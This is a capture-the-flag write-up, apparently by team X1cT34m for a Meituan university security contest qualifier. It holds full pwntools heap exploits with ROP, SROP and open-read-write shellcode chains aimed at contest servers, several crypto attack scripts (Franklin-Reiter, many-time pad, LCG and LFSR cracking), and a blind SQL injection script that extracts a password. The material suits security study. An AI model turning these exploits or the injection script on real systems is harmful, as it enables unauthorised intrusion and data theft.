Pwn

baby_local

from pwn import*
context.binary = './main'
def menu(ch):
    p.sendlineafter('>> ',str(ch))
def alloc(index,size):
    menu(1)
    p.sendlineafter('index >>',str(index))
    p.sendlineafter('size >>',str(size))
def edit(index,content):
    menu(2)
    p.sendlineafter('index >>',str(index))
    p.sendlineafter('content >>',content)
def free(index):
    menu(3)
    p.sendlineafter('index >>',str(index))
p = process('./main')
p = remote('115.28.187.226',32435)
libc =  ELF('./libc-2.31.so')
elf = ELF('./main')
p.sendafter('name:','FMYY\n')

for i in range(7):
    alloc(0,0x160)
    free(0)
for i in range(7):
    alloc(0,0x68)
    free(0)

alloc(0,0x18)
alloc(1,0xF0)
alloc(2,0x68)
alloc(4,0x10)

edit(0,'\x00'*0x18 + p64(0x171))
free(1)
free(2)

alloc(0,0xF8)
edit(0,'\x00'*0xF8 + p64(0x71) + '\x5D\x36')

alloc(0,0x68)
alloc(1,0x68)
edit(1,'\x00'*0x33 + p64(0xFBAD1800) + '\x00'*0x18 + '\x08')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))

edit(1,'\x00'*(0x33 - 8) + p64(libc_base + libc.sym['_IO_file_jumps']) + p64(0xFBAD2087))
edit(0,p64(libc_base + libc.sym['__malloc_hook'] + 0x10 + 0x60)*2 + '\x00'*0x50 + '\x70')
alloc(0,0x68)
alloc(0,0xF0)

alloc(1,0x4F0)
alloc(2,0x18)
alloc(3,0x400000)
payload  = p64(0)
payload += p64(0xF1)
payload += p64(0x404060 - 0x18)
payload += p64(0x404060 - 0x10)
payload  = payload.ljust(0xF0,'\x00')
payload += p64(0xF0)
payload += '\x00\x05'
edit(0,payload)
free(1)
edit(0,'\x00'*0x18 + p64(libc_base + libc.sym['_IO_file_jumps'] + 0x60) + p64(0x8) + p64(libc_base + libc.bss() + 0x2000) + p64(0x200) + p64(libc_base + 0x1EC940) + p64(0x18))
#####################

ROP = libc_base + libc.bss() + 0x2000
pop_rdi_ret = libc_base + 0x26B72
pop_rdx_r12 = libc_base + 0x11C371
pop_rsi_ret = libc_base + 0x27529
pop_rax_ret = libc_base + 0x4A550
R = libc_base + libc.sym['read']
W = libc_base + libc.sym['write']
O = libc_base + libc.sym['open']

mprot  = p64(pop_rdi_ret) + p64(ROP + 0x80)
mprot += p64(pop_rsi_ret) + p64(0)
mprot += p64(O)
mprot += p64(pop_rdi_ret) + p64(3)
mprot += p64(pop_rsi_ret) + p64(ROP + 0x200)
mprot += p64(pop_rdx_r12) + p64(0x30) + p64(0)
mprot += p64(R)
mprot += p64(pop_rdi_ret) + p64(1)
mprot += p64(W)
mprot += '/flag.txt\x00\x00'
#####################
edit(1,mprot)
edit(2,p64(ROP) + p64(pop_rdi_ret + 1))
edit(0,p64(libc_base + libc.sym['setcontext'] + 61)[0:7])

alloc(4,0x5E0)
alloc(4,0x18)
edit(4,'\x00'*0x18 + p64(0x830))
alloc(4,0x1000)
p.interactive()

blind

from pwn import*
p = process('./main')
p = remote('115.28.187.226',12435)
p.sendline('%692c%26$hn\x00' + p64(0x400913))

elf = ELF('./main')
gadget1 = 0x0400A3A
gadget2 = 0x0400A20
payload  = p64(0x0400A3A)
payload += p64(0)
payload += p64(1)
payload += p64(elf.got['read'])
payload += p64(2)
payload += p64(elf.got['read'])
payload += p64(0)
payload += p64(0x0400A20)
payload += 'U'*0x38
payload += p64(elf.plt['read'])
p.sendline('U'*0x38 + payload)
sleep(2)
p.send('\x47\x22')
p.interactive()

psa

from pwn import*
def menu(ch):
    p.sendlineafter('> ',str(ch))
#p = process('./main')
p = remote('115.28.187.226',28352)
menu(2)
user_name = hex(143132170000528714751931822530879014881014755100416046863410093640205677776416460469778033051316452131930162434388073705028320788952841244493120284337847767741990176018758428421869783588903118768211095435575937880505203721023787141504038152394527485215592959747306063319294615122298439240663651280084350312032)
user_name = user_name.replace('0x','')
payload = ''
for i in range(0,len(user_name) - 1,2):
    payload += p8(int(user_name[i:i+2],16))
p.sendafter('name:',payload)
###########################
passwd = hex(95731549490938018635314496054793892297479612682472921212179508397142514026174709167913069935106475126784396239638692277288966144035304194186948912350255396218648118814881767288642177307719493794542664506931718563855530984528382079517966429269853610802587409228929704710108224694126213654691202278972880392024   )
passwd = passwd.replace('0x','')
payload2 = ''
for i in range(0,len(passwd) - 1,2):
    payload2 += p8(int(passwd[i:i+2],16))
p.sendafter('password:',payload2)
p.sendafter('message: ','\x00'*0x18 + '\xA2\x29')
p.interactive()

zlink

from pwn import*
context.binary = './main'
def menu(ch):
    p.sendlineafter('Your choice :',str(ch))
def add(index,size,content):
    menu(1)
    p.sendlineafter('Index:',str(index))
    p.sendlineafter('Heap :',str(size))
    p.sendafter('Content?:',content)
def free(index):
    menu(2)
    p.sendlineafter('Index:',str(index))
def show(index):
    menu(5)
    p.sendlineafter('Index :',str(index))
def edit(index,content):
    menu(6)
    p.sendlineafter('Index:',str(index))
    p.sendafter('Content?:',content)
p = process('./main')
p = remote('115.28.187.226',22435)
libc = ELF('./libc-2.23.so')

add(0,0x50,'FMYY')
add(1,0x60,'FMYY')

free(0)
menu(4)

free(1)
add(10,0x68,'\x00'*0x60 + '\xD0')
free(14)
add(0,0x50,'FMYY')
show(10)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 0x58
log.info('LIBC:\t' + hex(libc_base))

add(1,0x60,'FMYY')

add(2,0x70,'FMYY')
add(3,0x70,'FMYY')

m_address = (libc_base + libc.sym['__free_hook'])&0xFFFFFFFFFFFFF000
code = '''xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
'''% m_address
#########################
orw = '''
mov rax, 0x67616C662F2E ;
push rax

mov rdi, rsp ;
mov rsi, 0 ;
xor rdx, rdx ;
mov rax, 2 ;
syscall

mov rdi, rax ;
mov rsi,rsp  ;
mov rdx, 1024 ;
mov rax,0 ;
syscall

mov rdi, 1 ;
mov rsi, rsp ;
mov rdx, rax ;
mov rax, 1 ;
syscall
'''

frame = SigreturnFrame()
frame.rsp = libc_base + libc.sym['__free_hook'] + 8
frame.rip = libc_base + libc.sym['mprotect']
frame.rdi = m_address
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1

free(0)
add(0,0x58,str(frame)[:0x58])
free(1)
add(1,0x60,str(frame)[0x60:])

free(10)

edit(1,p64(libc_base + libc.sym['__free_hook'] - 8 - 0x10))

add(4,0x60,str(frame)[0x70:0x78])
add(5,0x60,'\x00'*8 + p64(libc_base + libc.sym['setcontext'] + 53) + p64(libc_base + libc.sym['__free_hook'] + 0x10) + asm(code) + '\n')

#########################
free(0)
p.sendline(asm(orw))
p.interactive()

Crypto

easy_RSA

外面一层是rsa padding attack:

n=0x9371c61a2b760109781f229d43c6f05b58de65aa2a674ff92334cb5219132448d72c1293c145eb6f35e58791669f2d8d3b6ce506f4b3543beb947cf119f463a00bd33a33c4d566c4fd3f4c73c697fa5f3bf65976284b9cc96ec817241385d480003cdda9649fa0995b013e66f583c9a9710f7e18396fbf461cb31720f94a0f79
e=0x3
encrypt_m=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffbbd5a5e1a10f686c3f240e85d011f6c8b968d1d607b2e1d5a78ad6947b7d3ec8f33ad32489befab601fe745164e4ff4aed7630da89af7f902f6a1bf7266c9c95b29f2c69c33b93a709f282d43b10c61b1a1fe76f5fee970780d7512389fd1
encrypt_m_1=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffc5c26b0c12bcff9f697f274f59f0e55a147768332fc1f1bac5bbc8f9bb508104f232bdd20091d26adc52e36feda4a156eae7dce4650f83fabc828fdcfb01d25efb98db8b94811ca855a6aa77caff991e7b986db844ff7a140218449aaa7e8
def gcd(a, b): 
    while b:
        a, b = b, a % b
    return a.monic()

def franklinreiter(C1, C2, e, N, a, b):
    P.<X> = PolynomialRing(Zmod(N))
    g1 = (a*X + b)^e - C1
    g2 = X^e - C2
    print("Result")
    result = -gcd(g1, g2).coefficients()[0]
    f = open("data.txt", "w")
    f.write(str(result))
    f.close()
    return result
m = franklinreiter(encrypt_m_1, encrypt_m, e, n, 1, 1)
from Crypto.Util.number import *
print(long_to_bytes(m))
# the key is :everything_is_easy_in_this_question

得到压缩包密码:everything_is_easy_in_this_question

解开之后是many pad attack,尝试缩小明文和key的table的范围:

from Crypto.Util.number import *
from string import *
print(printable.encode())
TABLE1=ascii_letters+digits+"{}_@#\"| "
TABLE2=b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{} '
data = open("one_time_cipher").read().split(',\n')
data = [long_to_bytes(int(i, 16)) for i in data]
print(data)
key = []
for i in range(26):
    tmp_key = b""
    for j in TABLE1.encode(): # flag的table
        yes = True
        for k in range(len(data)):
            if len(data[k])<(i+1): break
            tmp_m = j^data[k][i]
            if long_to_bytes(tmp_m) not in (TABLE2.decode()).encode(): # key的table
                yes = False
                break
        if yes:
            tmp_key += long_to_bytes(j)
    print(tmp_key)
    key.append(tmp_key)

TABLE = b"flag{it_1s_P@dd1n_@nd_p@d}"
for k in range(len(data)):
    tmp_key = b""
    for i in range(26):
        if len(data[k])<(i+1): break
        tmp_key += long_to_bytes(TABLE[i]^data[k][i])
    print(tmp_key)
# flag{it_1s_P@dd1n_@nd_p@d}

得到flag:flag{it_1sP@dd1n@nd_p@d}

random

首先是已知ed和n,来分解n,ed-1=k*phi可以通过枚举k来猜测phi的值,然后得到很多个phi,然后相当于已知p*q(p-1)*(q-1),所以两个方程两个未知数,尝试解方程,最后会有一组解p,q,然后枚举一下符合条件的e,就能得到d了。

# e*d+n
ed_0_n = 3563329754048976946603729466426236052000141166700839903323255268203185709020494450173369806214666850943076188175778667508946270492708397447950521732324059148390232744011000065982865974194986726739638097566303135573072114448615095262066554751858952042395375417151593676621825939069783767865138657768553767717034970
# e*d-n
ed_1_n = 3563121718917234588723786463275555826875232380691165919033718924958406353810813480184744219046717838078497090403751007254545187720107602959381881715875898243474504999760208133192572812110967142474619366650504948619637909653723376917174456091396220576841259798792078769198369072982063716206690589554604992470787752

n = (ed_0_n - ed_1_n)//2
ed = ed_0_n-n
kphi = ed-1
for k in range(1, 65537):
    if kphi%k: continue
    phi = kphi//k
    p_add_q = n-phi+1
    if len(bin(p_add_q)[2:])>520: continue
    pq = var('p q')
    s = solve([p*q == n, p+q == p_add_q], [p, q])
    if len(s) == 0: continue
    p = int(s[0][0].rhs())
    if p > 0: 
        break

from Crypto.Util.number import *
q = n//p
print("p =",p)
assert p*q==n and is_prime(p) and is_prime(q)

for e in range(1, 655370):
    if (ed%e)==0 and inverse(e, (p-1)*(q-1))==(ed//e):
        print(e)

e = 65553
d = ed//e
msg = b"you_can_get_more_message"
m = bytes_to_long(msg)
print("sign :",pow(m,d,q))
print(long_to_bytes(pow(pow(m,d,q), e, q)))
print("sign :",pow(m,d,p))
print(long_to_bytes(pow(pow(m,d,p), e, p)))

计算pow(m,d,n)发送即可过认证,然后给了一堆lcg产生的数。破解lcg就可以了。

from functools import reduce
from gmpy2 import invert,gcd
from Crypto.Util.number import *

states = [3732074616716238200873760199583586585380050413464247806581164994328669362805685831589304096519259751316788496505512, 8890204100026432347745955525310288219105398478787537287650267015873395979318988753693294398552098138526129849364748, 3443072315415198209807083608377973177101709911155814986883368551162572889369288798755476092593196361644768257296318, 4505278089908633319897964655164810526240982406502790229247008099600376661475710376587203809096899113787029887577355, 9059646273291099175955371969413555591934318289156802314967132195752692549263532407952697867959054045527470269661073, 3085024063381648326788677294168591675423302286026271441848856369032582049512915465082428729187341510738008226870900, 8296028984288559154928442622341616376293205834716507766500770482261973424044111061163369828951815135486853862929166, 2258750259954363171426415561145579135511127336142626306021868972064434742092392644953647611210700787749996466767026, 4382123130034944542655156575000710851078842295367353943199512878514639434770161602326115915913531417058547954936492, 10982933598223427852005472748543379913601896398647811680964579161339128908976511173382896549104296031483243900943925]

def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus # 注意这里求逆元
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)
modulus, multiplier, increment = crack_unknown_modulus(states)
seed = (states[0]-increment)*invert(multiplier, modulus)%modulus
print(long_to_bytes(seed))
# b'flag{Y0u_K0nw_everyTh1ng_1$_e@sy}'

random1

先逆一个lfsr得到key,这里需要补上ff,不然逆不出来。

import base64
from Crypto.Util.number import *
global x, N
N=100

c1 = base64.b64decode(open("change1.txt").read().encode())
c2 = open("change2", "rb").read()
def lfsr(R, mask):
    output = (R << 1) & 0xffffffff
    i = (R & mask) & 0xffffffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def getKey(mask):
    N = 32
    key = ''
    for i in range(N // 8):
        t = c2[i]
        for j in range(7, -1, -1):
            key += str(t >> j & 1)
    idx = 0
    ans = ""
    key = key[31] + key[:32]
    while idx < 32:
        tmp = 0
        for i in range(32):
            if mask >> i & 1:
                tmp ^= int(key[31 - i])
        ans = str(tmp) + ans
        idx += 1
        key = key[31] + str(tmp) + key[1:31]
    return int(ans, 2)

def checkKey(key1):
    cc = b""
    for i in range(100):
        tmp = 0
        for j in range(8):
            (key1, out) = lfsr(key1, mask)
            tmp = (tmp << 1) ^ out
        cc += long_to_bytes(tmp)
    return cc == c2

def key_padding(key):
    k = [0]*x_
    for i in range(x_):
        k[i] = key[(i) % len(key)]
    return k

mask = 0b10100100000010000000100010010001
key = getKey(mask)
print(key)
print(checkKey(key))
# 452895302
# True

得到key=452895302,然后解密就可以了,有好几处错误导致脚本运行不起来,需要改一改(怀疑是出题人故意整活?()写成[]可还行:)

from base64 import b64encode, b64decode
from flag import flag, key_read
global x, N
X = 256
N = 100
# assert len(bin(key_read)[2:]) == 32
# assert key_read.startwith("0x")

def lfsr(R, mask):
    output = (R << 1) & 0xffffffff
    i = (R & mask) & 0xffffffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def s_box_a():
    s = []
    for i in range(X):
        s.append(i)
    return s

def key_padding(key):
    k = [0]*X
    for i in range(X):
        k[i] = key[(i) % len(key)]
    return k
def s_box(s, key):
    j = 0
    for i in range(X):
        j = (j+s[i]+ord(key[i])) % X
        s[j], s[i] = s[i], s[j]
    return s
def main():
    messages = "WCbeI/BfRYydhk43yF1MIdOk4zPV"
    messages = b64decode(messages)
    key1 = key_read
    mask = 0b10100100000010000000100010010001
    key = []
    for i in range(len(key1)):
        key.append(key1[i])
    key = key_padding(key)
    sbox = s_box(s_box_a(), key)
    i = j = 0
    c = ""
    for x in range(len(messages)): # len(messages)==21
        i = (i+1) % X
        j = (j+sbox[i]) % X
        sbox[i], sbox[j] = sbox[j], sbox[i]
        t = (sbox[i]+sbox[j]) % (X/2) # [X/2]
        c += chr(ord(messages[x]) ^ sbox[t])
    print(c)

if __name__ == '__main__':
    main()

用python2运行得到flag:flag{RC#_0r_Lf$r_666}

RSAsig

这个题有点水。。。拿到加密后的flag再发送回去,就给解密了,相当于自己只要写exp过一个pow。

from pwn import *
import string
import hashlib
HOST = "47.105.112.9"
POST = 34521
r = remote(HOST, POST)

def proof_of_work():
    rev = r.recvuntil("sha224(XXX+")
    suffix = r.recv(17).decode()
    rev = r.recvuntil(" == ")
    tar = r.recv(56).decode()

    def f(x):
        hashresult = hashlib.sha224(x.encode()+suffix.encode()).hexdigest()
        return hashresult == tar

    prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 3, 'upto')
    r.recvuntil("Give me XXX:")
    r.sendline(prefix)
proof_of_work()
r.interactive()

Web

sql

fuzz发现可以使用转义过引号,exp:

import os
import requests as req

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result

url = "http://eci-2zecwo25ej0i246rbyi7.cloudeci1.ichunqiu.com/index.php"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_']
headers = {
      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Connection':'keep-alive'
    }

res = ''
for i in range(50):
  for j in string:
    passwd = ord2hex('^'+res+chr(j))
    # print(passwd)
    passwd = 'or/**/password/**/regexp/**/binary/**/{}#'.format(passwd)
    data = {
      'username':"admin\\",
      'password':passwd
    }

    r = req.post(url, data=data, headers=headers)
    # print(r.text)
    if "flag is not here!" in r.text:
      res += chr(j)
      print(res)
      break
密码:This_1s_thE_Passw0rd
第三届美团网络安全高校挑战赛(初赛)Writeup by X1cT34m-小绿草信息安全实验室

登录拿到flag

第三届美团网络安全高校挑战赛(初赛)Writeup by X1cT34m-小绿草信息安全实验室

flag{7574d931-0213-4e4c-b9ad-a6c585955d92}